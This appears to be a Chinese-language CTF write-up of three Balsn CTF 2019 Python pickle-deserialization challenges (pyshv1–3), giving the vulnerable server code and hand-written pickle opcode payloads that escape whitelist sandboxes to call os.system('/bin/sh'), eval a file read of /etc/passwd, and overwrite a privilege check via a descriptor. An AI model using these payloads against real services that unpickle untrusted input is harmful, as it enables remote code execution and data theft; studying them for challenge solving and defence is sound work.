三道python反序列化題目介紹

參考鏈接

從Balsn CTF pyshv學習python反序列化

源碼以及wp:https://github.com/sasdf/ctf/tree/master/tasks/2019/BalsnCTF/misc

python反序列化

和其他語言的序列化一樣,Python 的序列化的目的也是爲了保存、傳遞和恢復對象的方便性,在衆多傳遞對象的方式中,序列化和反序列化可以說是最簡單和最容易實現的方式。

序列化:

pickle.dump(文件) 
pickle.dumps(字符串)

反序列化:

pickle.load(文件)
pickle.loads(字符串)
stack 棧
memo 一個列表,可以存儲信息

PVM操作碼(具體其他操作碼可以去看pickle源碼)

c:引入模塊和對象,模塊名和對象名以換行符分割。(find_class校驗就在這一步,也就是說,只要c這個OPCODE的參數沒有被find_class限制,其他地方獲取的對象就不會被沙盒影響了)
(:壓入一個標誌到棧中,表示元組的開始位置
0:彈出棧項的元素並丟棄
t:從棧頂開始,找到最上面的一個(,並將(到t中間的內容全部彈出,組成一個元組,再把這個元組壓入棧中
R:從棧頂彈出一個可執行對象和一個元組,元組作爲函數的參數列表執行,並將返回值壓入棧上
p:將棧頂的元素存儲到memo(標籤區)中,p後面跟一個數字,就是表示這個元素在memo中的索引
g:把memo的第n個位置的元素複製到棧頂
V、S:向棧頂壓入一個(unicode)字符串
s:從棧頂彈出三個元素,一個字典,一個鍵名字,一個鍵值,把鍵名:鍵值添加進字典,然後把字典壓入棧頂
.:表示整個程序結束


pyshv1

securePickle.py

import pickle
import io
import sys

whitelist = []
# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):

    def find_class(self, module, name):
        if module not in whitelist or '.' in name:
            raise KeyError('The pickle is spoilt :(')
        return pickle.Unpickler.find_class(self, module, name)


def loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()


dumps = pickle.dumps

server.py

#!/usr/bin/python3 -u

import securePickle as pickle
import codecs
import sys

pickle.whitelist.append('sys')


class Pysh(object):
    def __init__(self):
        self.login()
        self.cmds = {}

    def login(self):
        user = input().encode('ascii')
        user = codecs.decode(user, 'base64')
        user = pickle.loads(user)
        raise NotImplementedError("Not Implemented QAQ")

    def run(self):
        while True:
            req = input('$ ')
            func = self.cmds.get(req, None)
            if func is None:
                print('pysh: ' + req + ': command not found')
            else:
                func()


if __name__ == '__main__':
    pysh = Pysh()
    pysh.run()

可以看到題目用RestrictedUnpickler做爲反序列化的過程類,find_class中限制了反序列化的對象必須是sys模塊中的對象。也就是我們要保證我們使用c導入的模塊只能是sys
並且pickle.Unpickler.find_class獲取模塊屬性也依賴於sys.modules

也就是最終我們調用的始終是getattr(sys.modules['sys'],name),因此我們通過只導入sys模塊把sys.modules['sys']改爲我們想要執行的方法即可。

sys.modules 是一個字典,它包含了從 Python 開始運行起,被導入的所有模塊。鍵字就是模塊名,鍵值就是模塊對象。因此我們可以從中獲取想要的模塊對象賦值給sys.modules['sys']

例如

import sys

modules = sys.modules              # save sys.modules for later
sys.modules['sys'] = sys.modules   # remap sys to sys.modules
import sys
modules['sys'] = sys.get('os')     # access os throug the remapped sys, and store it in sys.modules['sys']
import sys
sys.system('echo "it works!"')     # boom!

我們還需要手動將其轉化爲PVM操作碼。

payload:

csys
modules
p1											#相當於命令爲p1,要使用時直接使用g1
0g1											#這兒的0可以去掉
S'sys'
g1
scsys										#s相當於給字典賦值 -》  sys.modules['sys'] = sys.modules
get
(S'os'
tRp2
0S'sys'										# 這兒沒太看啥懂
g2
scsys
system
(S'/bin/sh'
tR.

我按自己理解的意思 寫了一下,也是沒問題的

csys
modules
p1
g1
S'sys'
g1
scsys
get
(S'os'
tRp2
g1
S'sys'
g2
scsys
system
(S'echo 555'
tR.



pyshv2

securePickle.py

import pickle
import io


whitelist = []


# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):

    def find_class(self, module, name):
        if module not in whitelist or '.' in name:
            raise KeyError('The pickle is spoilt :(')
        module = __import__(module)
        return getattr(module, name)


def loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()


dumps = pickle.dumps

server.py

#!/usr/bin/python3 -u

import securePickle as pickle
import codecs
import sys

pickle.whitelist.append('structs')


class Pysh(object):
    def __init__(self):
        self.login()
        self.cmds = {
            'help': self.cmd_help,
            'flag': self.cmd_flag,
        }

    def login(self):
        user = input().encode('ascii')
        user = codecs.decode(user, 'base64')
        user = pickle.loads(user)
        raise NotImplementedError("Not Implemented QAQ")

    def run(self):
        while True:
            req = input('$ ')
            func = self.cmds.get(req, None)
            if func is None:
                print('pysh: ' + req + ': command not found')
            else:
                func()

    def cmd_help(self):
        print('Available commands: ' + ' '.join(self.cmds.keys()))

    def cmd_su(self):
        print("Not Implemented QAQ")
        # self.user.privileged = 1

    def cmd_flag(self):
        print("Not Implemented QAQ")


if __name__ == '__main__':
    pysh = Pysh()
    pysh.run()
structs.py是空文件

與v1不同的地方在於可導入模塊改爲了structs,然後還調用了__import__
__builtins__是所有模塊共用的一個字典,而__import__是他的內置函數。我們可以通過修改structs.__builtins__來重寫__import__
我們可以將__import__改爲structs.__getattribute__,然後把structs.structs改爲__builtins__,然後調用import('structs')返回的是__builtins__,從而調用其eval等內置函數。

from structs import __dict__
from structs import __builtins__
from structs import __getattribute__
__builtins__['__import__'] = __getattribute__
__dict__['structs'] = __builtins__
__import__('structs')['eval']('print("123")')

同樣的需要將其改爲PVM操作碼,這裏要注意__builtins__是一個字典,從裏面取eval要用dict.get函數。


payload:

cstructs
__dict__
p1
0cstructs
__builtins__
p2
0cstructs
__getattribute__
p3
0g2
S'__import__'
g3
sg1
S'structs'
g2
scstructs
get
p4
(S'eval'
tR(S'print(open("/etc/passwd").read())'
tR.

這個我直接在本地運行不了,但是在題目中是可以運行的

import pickle
import io


whitelist = ['structs']


# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):

    def find_class(self, module, name):
        if module not in whitelist or '.' in name:
            raise KeyError('The pickle is spoilt :(')
        module = __import__(module)
        return getattr(module, name)


def loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()


a = b"""cstructs
__dict__
p1
0cstructs
__builtins__
p2
cstructs
__getattribute__
p3
g2
S'__import__'
g3
sg1
S'structs'
g2
scstructs
get
(S'eval'
tR(S'print(open("/etc/passwd").read())'
tR.
"""
loads(a)

pyshv3

securePickle.py

import pickle
import io


whitelist = []


# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):

    def find_class(self, module, name):
        if module not in whitelist or '.' in name:
            raise KeyError('The pickle is spoilt :(')
        return pickle.Unpickler.find_class(self, module, name)


def loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()


dumps = pickle.dumps

server.py

#!/usr/bin/python3 -u

import securePickle as pickle
import codecs
import os


pickle.whitelist.append('structs')


class Pysh(object):
    def __init__(self):
        self.key = os.urandom(100)
        self.login()
        self.cmds = {
            'help': self.cmd_help,
            'whoami': self.cmd_whoami,
            'su': self.cmd_su,
            'flag': self.cmd_flag,
        }

    def login(self):
        with open('../flag.txt', 'rb') as f:
            flag = f.read()
        flag = bytes(a ^ b for a, b in zip(self.key, flag))
        user = input().encode('ascii')
        user = codecs.decode(user, 'base64')
        user = pickle.loads(user)
        print('Login as ' + user.name + ' - ' + user.group)
        user.privileged = False
        user.flag = flag
        self.user = user

    def run(self):
        while True:
            req = input('$ ')
            func = self.cmds.get(req, None)
            if func is None:
                print('pysh: ' + req + ': command not found')
            else:
                func()

    def cmd_help(self):
        print('Available commands: ' + ' '.join(self.cmds.keys()))

    def cmd_whoami(self):
        print(self.user.name, self.user.group)

    def cmd_su(self):
        print("Not Implemented QAQ")
        # self.user.privileged = 1

    def cmd_flag(self):
        if not self.user.privileged:
            print('flag: Permission denied')
        else:
            print(bytes(a ^ b for a, b in zip(self.user.flag, self.key)))


if __name__ == '__main__':
    pysh = Pysh()
    pysh.run()

structs.py

class User(object):
    def __init__(self, name, group):
        self.name = name
        self.group = group
        self.isadmin = 0
        self.prompt = ''

struscts.py多了個User類,find_class與v1類似,不過可導入模塊爲structs。server.py中可以看到反序列化對象privileged屬性爲true就會輸出flag,但是反序列化對象的privileged屬性在反序列化之後被設置成了False
payload 類似於
在這裏插入圖片描述

描述器定義
在這裏插入圖片描述

例子

class RevealAccess(object):
            """A data descriptor that sets and returns values
               normally and prints a message logging their access.
            """

            def __init__(self, initval=None, name='var'):
                self.val = initval
                self.name = name

            def __get__(self, obj, objtype):
                print 'Retrieving', self.name
                return self.val

            def __set__(self, obj, val):
                print 'Updating', self.name
                self.val = val

>>> class MyClass(object):
...     x = RevealAccess(10, 'var "x"')
...     y = 5
...
>>> m = MyClass()
>>> m.x
Retrieving var "x"
>>> m.x = 20
Updating var "x"
>>> m.x
Retrieving var "x"
>>> m.y

payload中我們重載了User類的__set__方法,並將User實例賦值機給了User類的privileged屬性,然後當對a.privileged賦值時,就會觸發其__set__方法,因爲set被賦值爲了User,所以並不會對a.privileged進行正常賦值,從而a.privileged還爲原來的User()實例。
另外要注意只有查找到的值是一個描述器時纔會調用描述器方法,比如這裏的a.privileged爲描述器,而a.ppp爲一個正常的屬性並不是一個描述器,因此其可以正常賦值。

然後就是手寫opcode

cstructs
User
p0
(N}S"__set__"
g0
stbg0 #structs.User (None,{"__set__":structs.User})
(S"guess"
S"guess"
tRp1  #User('guess','guess')
g0
(N}S"privileged"
g1
stbg1 #structs.User (None,{"privileged":User('guess','guess')})
.
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章